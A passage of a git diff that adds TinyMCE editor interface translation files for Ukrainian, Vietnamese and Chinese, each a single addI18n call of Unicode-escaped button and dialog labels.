\u0434\u043e\u0432\u0456\u043b\u044c\u043d\u0438\u0439 \u043e\u043f\u0438\u0441 \u0442\u0443\u0442","removeformat_desc":"\u041e\u0447\u0438\u0441\u0442\u0438\u0442\u0438 \u0444\u043e\u0440\u043c\u0430\u0442\u0443\u0432\u0430\u043d\u043d\u044f","hr_desc":"\u0412\u0441\u0442\u0430\u0432\u0438\u0442\u0438 \u0433\u043e\u0440\u0438\u0437\u043e\u043d\u0442\u0430\u043b\u044c\u043d\u0438\u0439 \u0440\u043e\u0437\u0434\u0456\u043b\u044c\u043d\u0438\u043a","sup_desc":"\u0412\u0435\u0440\u0445\u043d\u0456\u0439 \u0456\u043d\u0434\u0435\u043a\u0441","sub_desc":"\u041d\u0438\u0436\u043d\u0456\u0439 \u0456\u043d\u0434\u0435\u043a\u0441","code_desc":"\u0420\u0435\u0434\u0430\u0433\u0443\u0432\u0430\u0442\u0438 HTML \u043a\u043e\u0434","cleanup_desc":"\u041e\u0447\u0438\u0441\u0442\u0438\u0442\u0438 \u0437\u0430\u0439\u0432\u0438\u0439 \u043a\u043e\u0434","image_desc":"\u0414\u043e\u0434\u0430\u0442\u0438/\u0437\u043c\u0456\u043d\u0438\u0442\u0438 \u0437\u043e\u0431\u0440\u0430\u0436\u0435\u043d\u043d\u044f","unlink_desc":"\u0412\u0438\u0434\u0430\u043b\u0438\u0442\u0438 \u043f\u043e\u0441\u0438\u043b\u0430\u043d\u043d\u044f","link_desc":"\u0412\u0441\u0442\u0430\u0432\u0438\u0442\u0438/\u0437\u043c\u0456\u043d\u0438\u0442\u0438 \u043f\u043e\u0441\u0438\u043b\u0430\u043d\u043d\u044f","redo_desc":"\u041f\u043e\u0432\u0435\u0440\u043d\u0443\u0442\u0438 (Ctrl+Y)","undo_desc":"\u0412\u0456\u0434\u043c\u0456\u043d\u0438\u0442\u0438 (Ctrl+Z)","indent_desc":"\u0417\u0431\u0456\u043b\u044c\u0448\u0438\u0442\u0438 \u0432\u0456\u0434\u0441\u0442\u0443\u043f","outdent_desc":"\u0417\u043c\u0435\u043d\u0448\u0442\u0438\u0442\u0438 \u0432\u0456\u0434\u0441\u0442\u0443\u043f","numlist_desc":"\u041d\u0443\u043c\u0435\u0440\u043e\u0432\u0430\u043d\u0438\u0439 \u0441\u043f\u0438\u0441\u043e\u043a","bullist_desc":"\u041d\u0435\u043d\u0443\u043c\u0435\u0440\u043e\u0432\u0430\u043d\u0438\u0439 \u0441\u043f\u0438\u0441\u043e\u043a","justifyfull_desc":"\u041f\u043e \u0448\u0438\u0440\u0438\u043d\u0456","justifyright_desc":"\u041f\u043e \u043f\u0440\u0430\u0432\u043e\u043c\u0443 \u043a\u0440\u0430\u044e","justifycenter_desc":"\u041f\u043e \u0446\u0435\u043d\u0442\u0440\u0443","justifyleft_desc":"\u041f\u043e \u043b\u0456\u0432\u043e\u043c\u0443 \u043a\u0440\u0430\u044e","striketrough_desc":"\u0417\u0430\u043a\u0440\u0435\u0441\u043b\u0435\u043d\u0438\u0439","help_shortcut":"\u041d\u0430\u0442\u0438\u0441\u043d\u0456\u0442\u044c ALT F10 \u0434\u043b\u044f \u0442\u0443\u043b\u0431\u0430\u0440\u0443. \u041d\u0430\u0442\u0438\u0441\u043d\u0456\u0442\u044c ALT 0 \u0434\u043b\u044f \u043e\u0442\u0440\u0438\u043c\u0430\u043d\u043d\u044f \u0434\u043e\u043f\u043e\u043c\u043e\u0433\u0438",toolbar:"\u0422\u0443\u043b\u0431\u0430\u0440","anchor_delta_height":"","anchor_delta_width":"","charmap_delta_height":"","charmap_delta_width":"","colorpicker_delta_height":"","colorpicker_delta_width":"","link_delta_height":"","link_delta_width":"","image_delta_height":"","image_delta_width":"","rich_text_area":"Rich Text Area","shortcuts_desc":"Accessability Help"}); \ No newline at end of file diff --git a/js/tiny_mce/themes/advanced/langs/uk_dlg.js b/js/tiny_mce/themes/advanced/langs/uk_dlg.js new file mode 100755 index 0000000..cfb143b --- /dev/null +++ b/js/tiny_mce/themes/advanced/langs/uk_dlg.js @@ -0,0 +1 @@ +tinyMCE.addI18n('uk.advanced_dlg',{"link_list":"\u0421\u043f\u0438\u0441\u043e\u043a \u043f\u043e\u0441\u0438\u043b\u0430\u043d\u044c","link_is_external":"\u0412\u0432\u0435\u0434\u0435\u043d\u0435 \u043f\u043e\u0441\u0438\u043b\u0430\u043d\u043d\u044f \u0441\u0445\u043e\u0436\u0435 \u043d\u0430 \u0437\u043e\u0432\u043d\u0456\u0448\u043d\u0454 \u043f\u043e\u0441\u0438\u043b\u0430\u043d\u043d\u044f, \u0432\u0438 \u0431\u0430\u0436\u0430\u0454\u0442\u0435 \u0434\u043e\u0434\u0430\u0442\u0438 \u043f\u043e\u0442\u0440\u0456\u0431\u043d\u0438\u0439 \u043f\u0440\u0435\u0444\u0456\u043a\u0441 http://?","link_is_email":"\u0412\u0432\u0435\u0434\u0435\u043d\u0435 \u043f\u043e\u0441\u0438\u043b\u0430\u043d\u043d\u044f \u0441\u0445\u043e\u0436\u0435 \u043d\u0430 \u0430\u0434\u0440\u0435\u0441\u0443 \u0435\u043b\u0435\u043a\u0442\u0440\u043e\u043d\u043d\u043e\u0457 \u043f\u043e\u0448\u0442\u0438, \u0432\u0438 \u0431\u0430\u0436\u0430\u0454\u0442\u0435 \u0434\u043e\u0434\u0430\u0442\u0438 \u043f\u043e\u0442\u0440\u0456\u0431\u043d\u0438\u0439 \u043f\u0440\u0435\u0444\u0456\u043a\u0441 mailto:?","link_titlefield":"\u0417\u0430\u0433\u043e\u043b\u043e\u0432\u043e\u043a","link_target_blank":"\u043d\u043e\u0432\u043e\u043c\u0443 \u0432\u0456\u043a\u043d\u0456","link_target_same":"\u0446\u044c\u043e\u043c\u0443 \u0436 \u0432\u0456\u043a\u043d\u0456","link_target":"\u0412\u0456\u0434\u043a\u0440\u0438\u0442\u0438 \u0432","link_url":"\u0410\u0434\u0440\u0435\u0441\u0430 ","link_title":"\u0414\u043e\u0434\u0430\u0442\u0438/\u0437\u043c\u0456\u043d\u0438\u0442\u0438 \u043f\u043e\u0441\u0438\u043b\u0430\u043d\u043d\u044f","image_align_right":"\u041f\u043e \u043f\u0440\u0430\u0432\u043e\u043c\u0443 \u043a\u0440\u0430\u044e","image_align_left":"\u041f\u043e \u043b\u0456\u0432\u043e\u043c\u0443 \u043a\u0440\u0430\u044e","image_align_textbottom":"\u041f\u043e \u043d\u0438\u0436\u043d\u044c\u043e\u043c\u0443 \u043a\u0440\u0430\u044e \u0442\u0435\u043a\u0441\u0442\u0443","image_align_texttop":"\u041f\u043e \u0432\u0435\u0440\u0445\u043d\u044c\u043e\u043c\u0443 \u043a\u0440\u0430\u044e \u0442\u0435\u043a\u0441\u0442\u0443","image_align_bottom":"\u041f\u043e \u043d\u0438\u0436\u043d\u044c\u043e\u043c\u0443 \u043a\u0440\u0430\u044e","image_align_middle":"\u041f\u043e \u0446\u0435\u043d\u0442\u0440\u0443","image_align_top":"\u041f\u043e \u0432\u0435\u0440\u0445\u043d\u044c\u043e\u043c\u0443 \u043a\u0440\u0430\u044e","image_align_baseline":"\u041f\u043e \u0431\u0430\u0437\u043e\u0432\u0456\u0439 \u043b\u0456\u043d\u0456\u0457","image_align":"\u0412\u0438\u0440\u0456\u0432\u043d\u044e\u0432\u0430\u043d\u043d\u044f","image_hspace":"\u0413\u043e\u0440\u0438\u0437. \u0432\u0456\u0434\u0441\u0442\u0443\u043f","image_vspace":"\u0412\u0435\u0440\u0442. \u0432\u0456\u0434\u0441\u0442\u0443\u043f","image_dimensions":"\u0420\u043e\u0437\u043c\u0456\u0440\u0438","image_alt":"\u041e\u043f\u0438\u0441","image_list":"\u0421\u043f\u0438\u0441\u043e\u043a \u0437\u043e\u0431\u0440\u0430\u0436\u0435\u043d\u044c","image_border":"\u0420\u0430\u043c\u043a\u0430","image_src":"\u0410\u0434\u0440\u0435\u0441\u0430","image_title":"\u0414\u043e\u0434\u0430\u0442\u0438/\u0437\u043c\u0456\u043d\u0438\u0442\u0438 \u0437\u043e\u0431\u0440\u0430\u0436\u0435\u043d\u043d\u044f","charmap_title":"\u0412\u0438\u0431\u0440\u0430\u0442\u0438 \u0434\u043e\u0432\u0456\u043b\u044c\u043d\u0438\u0439 \u0441\u0438\u043c\u0432\u043e\u043b","colorpicker_name":"\u041d\u0430\u0437\u0432\u0430:","colorpicker_color":"\u041a\u043e\u043b\u0456\u0440:","colorpicker_named_title":"\u0417\u0430 \u043d\u0430\u0437\u0432\u043e\u044e","colorpicker_named_tab":"\u0417\u0430 \u043d\u0430\u0437\u0432\u043e\u044e","colorpicker_palette_title":"\u041f\u0430\u043b\u0456\u0442\u0440\u0430 \u043a\u043e\u043b\u044c\u043e\u0440\u0456\u0432","colorpicker_palette_tab":"\u041f\u0430\u043b\u0456\u0442\u0440\u0430","colorpicker_picker_title":"\u041f\u0456\u043f\u0435\u0442\u043a\u0430 \u043a\u043e\u043b\u044c\u043e\u0440\u0443","colorpicker_picker_tab":"\u041f\u0456\u043f\u0435\u0442\u043a\u0430","colorpicker_title":"\u0412\u0438\u0431\u0440\u0430\u0442\u0438 \u043a\u043e\u043b\u0456\u0440","code_wordwrap":"\u041f\u0435\u0440\u0435\u043d\u043e\u0441\u0438\u0442\u0438 \u0441\u043b\u043e\u0432\u0430","code_title":"\u0420\u0435\u0434\u0430\u043a\u0442\u043e\u0440 HTML \u043a\u043e\u0434\u0443","anchor_name":"\u041d\u0430\u0437\u0432\u0430 \u044f\u043a\u043e\u0440\u044f","anchor_title":"\u0414\u043e\u0434\u0430\u0442\u0438/\u0437\u043c\u0456\u043d\u0438\u0442\u0438 \u044f\u043a\u0456\u0440","about_loaded":"\u0417\u0430\u0432\u0430\u043d\u0442\u0430\u0436\u0435\u043d\u0456 \u0434\u043e\u0434\u0430\u0442\u043a\u0438","about_version":"\u0412\u0435\u0440\u0441\u0456\u044f","about_author":"\u0410\u0432\u0442\u043e\u0440","about_plugin":"\u0414\u043e\u0434\u0430\u0442\u043e\u043a","about_plugins":"\u0414\u043e\u0434\u0430\u0442\u043a\u0438","about_license":"\u041b\u0456\u0446\u0435\u043d\u0437\u0456\u044f","about_help":"\u0414\u043e\u043f\u043e\u043c\u043e\u0433\u0430","about_general":"\u041f\u0440\u043e \u043f\u0440\u043e\u0434\u0443\u043a\u0442...","about_title":"\u041f\u0440\u043e \u043f\u0440\u043e\u0434\u0443\u043a\u0442 TinyMCE","anchor_invalid":"\u0412\u0432\u0435\u0434\u0456\u0442\u044c \u043f\u0440\u0430\u0432\u0438\u043b\u044c\u043d\u0435 \u0456\u043c\'\u044f \u0434\u043b\u044f \u044f\u043a\u0456\u0440\u0430.","accessibility_usage_title":"\u0417\u0430\u0433\u0430\u043b\u044c\u043d\u0435 \u0432\u0438\u043a\u043e\u0440\u0438\u0441\u0442\u0430\u043d\u043d\u044f","charmap_usage":"Use left and right arrows to navigate.","accessibility_help":"Accessibility Help"}); \ No newline at end of file diff --git a/js/tiny_mce/themes/advanced/langs/vi.js b/js/tiny_mce/themes/advanced/langs/vi.js new file mode 100755 index 0000000..6f80fc9 --- /dev/null +++ b/js/tiny_mce/themes/advanced/langs/vi.js @@ -0,0 +1 @@ +tinyMCE.addI18n('vi.advanced',{"underline_desc":"G\u1ea1ch ch\u00e2n (Ctrl+U)","italic_desc":"Ch\u1eef nghi\u00eang (Ctrl+I)","bold_desc":"Ch\u1eef \u0111\u1eadm (Ctrl+B)",dd:"Th\u1ebb M\u00f4 t\u1ea3 \u0111\u1ecbnh ngh\u0129a",dt:"Th\u1ebb \u0110i\u1ec1u kho\u1ea3n \u0111\u1ecbnh ngh\u0129a ",samp:"Th\u1ebb M\u00e3 v\u00ed d\u1ee5",code:"Th\u1ebb M\u00e3",blockquote:"Th\u1ebb Tr\u00edch d\u1eabn",h6:"Th\u1ebb Heading 6",h5:"Th\u1ebb Heading 5",h4:"Th\u1ebb Heading 4",h3:"Th\u1ebb Heading 3",h2:"Th\u1ebb Heading 2",h1:"Th\u1ebb Heading 1",pre:"Th\u1ebb Ti\u1ec1n \u0111\u1ecbnh d\u1ea1ng",address:"Th\u1ebb \u0110\u1ecba ch\u1ec9",div:"Th\u1ebb",paragraph:"\u0110o\u1ea1n",block:"\u0110\u1ecbnh d\u1ea1ng",fontdefault:"T\u00ean font ch\u1eef","font_size":"K\u00edch th\u01b0\u1edbc font","style_select":"Ki\u1ec3u","more_colors":"Th\u00eam m\u00e0u","toolbar_focus":"Nh\u1ea3y t\u1edbi c\u00e1c n\u00fat c\u00f4ng c\u1ee5 - Alt+Q, T\u1edbi tr\u00ecnh so\u1ea1n th\u1ea3o - Alt-Z, T\u1edbi \u0111\u01b0\u1eddng d\u1eabn c\u00e1c ph\u1ea7n t\u1eed - Alt-X",newdocument:"B\u1ea1n c\u00f3 ch\u1eafc ch\u1eafn mu\u1ed1n x\u00f3a t\u1ea5t c\u1ea3 n\u1ed9i dung?",path:"\u0110\u01b0\u1eddng d\u1eabn","clipboard_msg":"Sao ch\u00e9p/C\u1eaft/D\u00e1n kh\u00f4ng c\u00f3 s\u1eb5n trong Mozilla v\u00e0 Firefox.\n\t\t\tB\u1ea1n c\u00f3 mu\u1ed1n bi\u1ebft th\u00eam th\u00f4ng tin v\u1ec1 v\u1ea5n \u0111\u1ec1 n\u00e0y?","blockquote_desc":"Blockquote","help_desc":"Tr\u1ee3 gi\u00fap","newdocument_desc":"V\u0103n b\u1ea3n m\u1edbi","image_props_desc":"Thu\u1ed9c t\u00ednh \u1ea3nh","paste_desc":"D\u00e1n","copy_desc":"Sao ch\u00e9p","cut_desc":"C\u1eaft","anchor_desc":"Ch\u00e8n/s\u1eeda m\u1ecf neo","visualaid_desc":"\u0110\u1ea3o c\u00e1c th\u00e0nh ph\u1ea7n h\u01b0\u1edbng d\u1eabn ho\u1eb7c \u1ea9n","charmap_desc":"Ch\u00e8n k\u00fd t\u1ef1 t\u00f9y bi\u1ebfn","backcolor_desc":"Ch\u1ecdn m\u00e0u n\u1ec1n","forecolor_desc":"Ch\u1ecdn m\u00e0u ch\u1eef","custom1_desc":"M\u00f4 t\u1ea3 t\u00f9y bi\u1ebfn c\u1ee7a b\u1ea1n \u1edf \u0111\u00e2y","removeformat_desc":"Lo\u1ea1i b\u1ecf \u0111\u1ecbnh d\u1ea1ng","hr_desc":"Ch\u00e8n th\u01b0\u1edbc ngang","sup_desc":"Ch\u1ec9 s\u1ed1 b\u00ean tr\u00ean","sub_desc":"Ch\u1ec9 s\u1ed1 d\u01b0\u1edbi d\u00f2ng","code_desc":"S\u1eeda m\u00e3 HTML","cleanup_desc":"D\u1ecdn d\u1eb9p m\u00e3 l\u1ed9n x\u1ed9n","image_desc":"Ch\u00e8n/s\u1eeda \u1ea3nh","unlink_desc":"X\u00f3a Li\u00ean k\u1ebft","link_desc":"Th\u00eam/S\u1eeda Li\u00ean k\u1ebft","redo_desc":"Ti\u1ebfn t\u1edbi (Ctrl+Y)","undo_desc":"Tr\u1edf v\u1ec1 (Ctrl+Z)","indent_desc":"Th\u1ee5t \u0111\u1ea7u d\u00f2ng","outdent_desc":"V\u1ec1 \u0111\u1ea7u d\u00f2ng","numlist_desc":"Danh s\u00e1ch c\u00f3 ch\u1ec9 s\u1ed1","bullist_desc":"Danh s\u00e1ch","justifyfull_desc":"Canh l\u1ec1 \u0111\u1ec1u","justifyright_desc":"Canh l\u1ec1 ph\u1ea3i","justifycenter_desc":"Canh gi\u1eefa","justifyleft_desc":"Canh l\u1ec1 tr\u00e1i","striketrough_desc":"G\u1ea1ch ngang","anchor_delta_height":"","anchor_delta_width":"","charmap_delta_height":"","charmap_delta_width":"","colorpicker_delta_height":"","colorpicker_delta_width":"","link_delta_height":"","link_delta_width":"","image_delta_height":"","image_delta_width":"","help_shortcut":"Press ALT-F10 for toolbar. Press ALT-0 for help","rich_text_area":"Rich Text Area","shortcuts_desc":"Accessability Help",toolbar:"Toolbar"}); \ No newline at end of file diff --git a/js/tiny_mce/themes/advanced/langs/vi_dlg.js b/js/tiny_mce/themes/advanced/langs/vi_dlg.js new file mode 100755 index 0000000..3a36071 --- /dev/null +++ b/js/tiny_mce/themes/advanced/langs/vi_dlg.js @@ -0,0 +1 @@ +tinyMCE.addI18n('vi.advanced_dlg',{"link_list":"Danh s\u00e1ch li\u00ean k\u1ebft","link_is_external":"URL b\u1ea1n \u0111\u00e3 nh\u1eadp c\u00f3 v\u1ebb l\u00e0 m\u1ed9t li\u00ean k\u1ebft ngo\u00e0i, b\u1ea1n c\u00f3 mu\u1ed1n th\u00eam ti\u1ec1n t\u1ed1 http://?","link_is_email":"URL b\u1ea1n \u0111\u00e3 nh\u1eadp c\u00f3 v\u1ebb l\u00e0 m\u1ed9t \u0111\u1ecba ch\u1ec9 \u0111i\u1ec7n th\u01b0, B\u1ea1n c\u00f3 mu\u1ed1n th\u00eam ti\u1ec1n t\u1ed1 mailto?","link_titlefield":"Ti\u00eau \u0111\u1ec1","link_target_blank":"M\u1edf li\u00ean k\u1ebft trong c\u1eeda s\u1ed5 m\u1edbi","link_target_same":"M\u1edf li\u00ean k\u1ebft trong c\u00f9ng c\u1eeda s\u1ed5","link_target":"\u0110\u00edch","link_url":"URL Li\u00ean k\u1ebft","link_title":"Th\u00eam/S\u1eeda Li\u00ean k\u1ebft","image_align_right":"Ph\u1ea3i","image_align_left":"Tr\u00e1i","image_align_textbottom":"V\u0103n b\u1ea3n d\u01b0\u1edbi","image_align_texttop":"V\u0103n b\u1ea3n tr\u00ea","image_align_bottom":"D\u01b0\u1edbi c\u00f9ng","image_align_middle":"Gi\u1eefa","image_align_top":"Tr\u00ean c\u00f9ng","image_align_baseline":"\u0110\u01b0\u1eddng c\u01a1 s\u1edf","image_align":"Canh l\u1ec1n","image_hspace":"Kho\u1ea3ng c\u00e1ch ngang","image_vspace":"Kho\u1ea3ng c\u00e1ch d\u1ecdc","image_dimensions":"K\u00edch th\u01b0\u1edbng","image_alt":"M\u00f4 t\u1ea3 \u1ea3nh","image_list":"Danh s\u00e1ch \u1ea3nh","image_border":"Vi\u1ec1n","image_src":"URL \u1ea3nh","image_title":"Ch\u00e8n/s\u1eeda \u1ea3nh","charmap_title":"Ch\u1ecdn k\u00fd t\u1ef1 t\u00f9y bi\u1ebfn","colorpicker_name":"T\u00ean:","colorpicker_color":"M\u00e0u:","colorpicker_named_title":"M\u00e0u \u0111\u00e3 \u0111\u1eb7t t\u00ean","colorpicker_named_tab":"T\u00ean","colorpicker_palette_title":"B\u1ea3ng m\u00e0u","colorpicker_palette_tab":"B\u1ea3ng m\u00e0u","colorpicker_picker_title":"B\u1ed9 ch\u1ecdn m\u00e0u","colorpicker_picker_tab":"B\u1ed9 ch\u1ecdn","colorpicker_title":"Ch\u1ecdn m\u1ed9t m\u00e0u","code_wordwrap":"Xu\u1ed1ng d\u00f2ng t\u1ef1 \u0111\u1ed9ng","code_title":"Tr\u00ecnh so\u1ea1n th\u1ea3o m\u00e3 ngu\u1ed3n HTML","anchor_name":"T\u00ean m\u1ecf neo","anchor_title":"Ch\u00e8n/s\u1eeda m\u1ecf neo","about_loaded":"Tr\u00ecnh g\u1eafn k\u00e8m \u0111\u00e3 n\u1ea1p","about_version":"Phi\u00ean b\u1ea3n","about_author":"T\u00e1c gi\u1ea3","about_plugin":"Tr\u00ecnh g\u1eafn k\u00e8m","about_plugins":"Tr\u00ecnh g\u1eafn k\u00e8m","about_license":"Gi\u1ea5y ph\u00e9p","about_help":"Tr\u1ee3 gi\u00fap","about_general":"Th\u00f4ng tin","about_title":"Th\u00f4ng tin v\u1ec1 TinyMCE","anchor_invalid":"Please specify a valid anchor name.","accessibility_help":"Accessibility Help","accessibility_usage_title":"General Usage"}); \ No newline at end of file diff --git a/js/tiny_mce/themes/advanced/langs/zh-cn.js b/js/tiny_mce/themes/advanced/langs/zh-cn.js new file mode 100755 index 0000000..cef3df2 --- /dev/null +++ b/js/tiny_mce/themes/advanced/langs/zh-cn.js @@ -0,0 +1 @@ +tinyMCE.addI18n('zh-cn.advanced',{"underline_desc":"\u4e0b\u5212\u7ebf(Ctrl U)","italic_desc":"\u659c\u4f53(Ctrl I)","bold_desc":"\u7c97\u4f53(Ctrl B)",dd:"\u5b9a\u4e49\u8bf4\u660e",dt:"\u672f\u8bed\u5b9a\u4e49",samp:"\u4ee3\u7801\u793a\u4f8b",code:"\u4ee3\u7801",blockquote:"\u5f15\u7528",h6:"\u6807\u98986",h5:"\u6807\u98985",h4:"\u6807\u98984",h3:"\u6807\u98983",h2:"\u6807\u98982",h1:"\u6807\u98981",pre:"\u9884\u683c\u5f0f\u6587\u672c",address:"\u5730\u5740",div:"Div\u533a\u5757",paragraph:"\u6bb5\u843d",block:"\u683c\u5f0f\u5316",fontdefault:"\u5b57\u4f53","font_size":"\u5b57\u4f53\u5927\u5c0f","style_select":"\u6837\u5f0f","more_colors":"\u66f4\u591a\u989c\u8272","toolbar_focus":"\u8f6c\u5230\u5de5\u5177\u6309\u94ae - Alt-Q\uff0c\u8f6c\u5230\u7f16\u8f91\u5668 - Alt-Z\uff0c\u8f6c\u5230\u5143\u7d20\u8def\u5f84 - Alt-X\u3002",newdocument:"\u60a8\u771f\u7684\u8981\u6e05\u9664\u6240\u6709\u5185\u5bb9\u5417\uff1f",path:"\u8def\u5f84","clipboard_msg":"\u5728Mozilla\u548cFirefox\u4e2d\u4e0d\u80fd\u4f7f\u7528\u590d\u5236/\u7c98\u8d34/\u526a\u5207\u3002n\u60a8\u8981\u67e5\u770b\u8be5\u95ee\u9898\u66f4\u591a\u7684\u4fe1\u606f\u5417\uff1f","blockquote_desc":"\u5f15\u7528","help_desc":"\u5e2e\u52a9","newdocument_desc":"\u65b0\u5efa","image_props_desc":"\u56fe\u7247\u5c5e\u6027","paste_desc":"\u7c98\u8d34","copy_desc":"\u590d\u5236","cut_desc":"\u526a\u5207","anchor_desc":"\u63d2\u5165/\u7f16\u8f91 \u951a","visualaid_desc":"\u663e\u793a/\u9690\u85cf \u5143\u7d20","charmap_desc":"\u63d2\u5165\u81ea\u5b9a\u4e49\u7b26\u53f7","backcolor_desc":"\u9009\u62e9\u80cc\u666f\u989c\u8272","forecolor_desc":"\u9009\u62e9\u6587\u672c\u989c\u8272","custom1_desc":"\u8fd9\u91cc\u662f\u60a8\u81ea\u5b9a\u4e49\u7684\u63cf\u8ff0","removeformat_desc":"\u6e05\u9664\u683c\u5f0f","hr_desc":"\u63d2\u5165\u6c34\u5e73\u7ebf","sup_desc":"\u4e0a\u6807","sub_desc":"\u4e0b\u6807","code_desc":"\u7f16\u8f91HTML\u6e90\u4ee3\u7801","cleanup_desc":"\u6e05\u9664\u65e0\u7528\u4ee3\u7801","image_desc":"\u63d2\u5165/\u7f16\u8f91 \u56fe\u7247","unlink_desc":"\u53d6\u6d88\u8d85\u94fe\u63a5","link_desc":"\u63d2\u5165/\u7f16\u8f91 \u8d85\u94fe\u63a5","redo_desc":"\u6062\u590d (Ctrl Y)","undo_desc":"\u64a4\u9500 (Ctrl Z)","indent_desc":"\u589e\u52a0\u7f29\u8fdb","outdent_desc":"\u51cf\u5c11\u7f29\u8fdb","numlist_desc":"\u7f16\u53f7\u5217\u8868","bullist_desc":"\u9879\u76ee\u5217\u8868","justifyfull_desc":"\u4e24\u7aef\u5bf9\u9f50","justifyright_desc":"\u53f3\u5bf9\u9f50","justifycenter_desc":"\u5c45\u4e2d","justifyleft_desc":"\u5de6\u5bf9\u9f50","striketrough_desc":"\u5220\u9664\u7ebf","help_shortcut":"\u6309 ALT-F10 \u5b9a\u4f4d\u5230\u5de5\u5177\u680f.\u6309 ALT-0 \u83b7\u53d6\u5e2e\u52a9\u3002","rich_text_area":"\u5bcc\u6587\u672c\u533a","shortcuts_desc":"\u8f85\u52a9\u8bf4\u660e",toolbar:"\u5de5\u5177\u680f","anchor_delta_height":"","anchor_delta_width":"","charmap_delta_height":"","charmap_delta_width":"","colorpicker_delta_height":"","colorpicker_delta_width":"","link_delta_height":"","link_delta_width":"","image_delta_height":"","image_delta_width":""}); \ No newline at end of file diff --git a/js/tiny_mce/themes/advanced/langs/zh-cn_dlg.js b/js/tiny_mce/themes/advanced/langs/zh-cn_dlg.js new file mode 100755 index 0000000..5d03875 --- /dev/null +++ b/js/tiny_mce/themes/advanced/langs/zh-cn_dlg.js @@ -0,0 +1 @@ +tinyMCE.addI18n('zh-cn.advanced_dlg',{"link_list":"\u94fe\u63a5\u5217\u8868","link_is_external":"\u60a8\u8f93\u5165\u7684URL\u662f\u4e00\u4e2a\u5916\u90e8\u94fe\u63a5\uff0c\u662f\u5426\u8981\u52a0\u4e0a\"http://\"\u524d\u7f00\uff1f","link_is_email":"\u8f93\u5165URL\u662f\u7535\u5b50\u90ae\u4ef6\u5730\u5740\uff0c\u662f\u5426\u9700\u8981\u52a0\"mailto:\"\u524d\u7f00\uff1f","link_titlefield":"\u6807\u9898","link_target_blank":"\u5728\u65b0\u7a97\u53e3\u6253\u5f00","link_target_same":"\u5728\u5f53\u524d\u7a97\u53e3\u6253\u5f00","link_target":"\u6253\u5f00\u65b9\u5f0f","link_url":"\u8d85\u94fe\u63a5URL","link_title":"\u63d2\u5165/\u7f16\u8f91 \u8d85\u94fe\u63a5","image_align_right":"\u53f3\u5bf9\u9f50","image_align_left":"\u5de6\u5bf9\u9f50","image_align_textbottom":"\u6587\u5b57\u4e0b\u65b9","image_align_texttop":"\u6587\u5b57\u4e0a\u65b9","image_align_bottom":"\u5e95\u7aef\u5bf9\u9f50","image_align_middle":"\u5c45\u4e2d\u5bf9\u9f50","image_align_top":"\u9876\u7aef\u5bf9\u9f50","image_align_baseline":"\u5e95\u7ebf","image_align":"\u5bf9\u9f50","image_hspace":"\u6c34\u5e73\u8ddd\u79bb","image_vspace":"\u5782\u76f4\u8ddd\u79bb","image_dimensions":"\u5c3a\u5bf8","image_alt":"\u56fe\u7247\u63cf\u8ff0","image_list":"\u56fe\u7247\u5217\u8868","image_border":"\u8fb9\u6846","image_src":"\u56fe\u7247\u94fe\u63a5","image_title":"\u63d2\u5165/\u7f16\u8f91 \u56fe\u7247","charmap_title":"\u9009\u62e9\u81ea\u5b9a\u4e49\u7b26\u53f7","colorpicker_name":"\u540d\u79f0\uff1a","colorpicker_color":"\u989c\u8272\uff1a","colorpicker_named_title":"\u547d\u540d\u989c\u8272","colorpicker_named_tab":"\u547d\u540d\u989c\u8272","colorpicker_palette_title":"\u8c03\u8272\u677f\u989c\u8272","colorpicker_palette_tab":"\u8c03\u8272\u677f","colorpicker_picker_title":"\u989c\u8272\u62fe\u53d6","colorpicker_picker_tab":"\u62fe\u53d6","colorpicker_title":"\u9009\u62e9\u989c\u8272","code_wordwrap":"\u81ea\u52a8\u6362\u884c","code_title":"HTML\u4ee3\u7801\u7f16\u8f91\u5668","anchor_name":"\u951a\u540d\u79f0","anchor_title":"\u63d2\u5165/\u7f16\u8f91 \u951a","about_loaded":"\u5df2\u8f7d\u5165\u7684\u63d2\u4ef6","about_version":"\u7248\u672c","about_author":"\u4f5c\u8005","about_plugin":"\u63d2\u4ef6","about_plugins":"\u63d2\u4ef6","about_license":"\u8bb8\u53ef\u534f\u8bae","about_help":"\u5e2e\u52a9","about_general":"\u5173\u4e8e","about_title":"\u5173\u4e8eTinyMCE","anchor_invalid":"\u8bf7\u6307\u5b9a\u4e00\u4e2a\u6709\u6548\u7684\u951a\u540d\u79f0\u3002","accessibility_help":"Accessibility Help","accessibility_usage_title":"General Usage"}); \ No newline at end of file diff --git a/js/tiny_mce/themes/advanced/langs/zh-tw.js b/js/tiny_mce/themes/advanced/langs/zh-tw.js new file mode 100755 index 0000000..54041ae --- /dev/null +++ b/js/tiny_mce/themes/advanced/langs/zh-tw.js @@ -0,0 +1 @@ +tinyMCE.addI18n('zh-tw.advanced',{"underline_desc":"\u52a0\u4e0a\u5e95\u7dda (Ctrl U)","italic_desc":"\u8b8a\u6210\u659c\u7dda (Ctrl I)","bold_desc":"\u5b57\u52a0\u7c97 (Ctrl B)",dd:"\u64b0\u5beb\u8aaa\u660e / \u8a3b\u89e3",dt:"\u8853\u8a9e\u5b9a\u7fa9",samp:"\u8a9e\u6cd5\u7bc4\u4f8b",code:"\u8a9e\u6cd5",blockquote:"\u5f15\u7528",h6:"\u6a19\u984c\u6a23\u5f0f 6",h5:"\u6a19\u984c\u6a23\u5f0f 5",h4:"\u6a19\u984c\u6a23\u5f0f 4",h3:"\u6a19\u984c\u6a23\u5f0f 3",h2:"\u6a19\u984c\u6a23\u5f0f 2",h1:"\u6a19\u984c\u6a23\u5f0f 1",pre:"\u7d14\u6587\u5b57",address:"\u4f4f\u5740",div:"Div \u6392\u7248\u5340\u584a",paragraph:"\u6bb5\u843d\u6a23\u5f0f",block:"\u683c\u5f0f",fontdefault:"\u5b57\u9ad4","font_size":"\u6587\u5b57\u5927\u5c0f","style_select":"\u6a23\u5f0f","more_colors":"\u5176\u4ed6\u984f\u8272","toolbar_focus":"\u8f14\u52a9\u529f\u80fd\uff1a\u6309\u4e0b Alt \u8ddf Q \u53ef\u8df3\u5230\u529f\u80fd\u5217\u3001\u6309\u4e0b Alt \u8ddf Z \u8df3\u5230\u6587\u5b57\u7de8\u8f2f\u756b\u9762\u3001\u6309\u4e0b Alt \u8ddf X 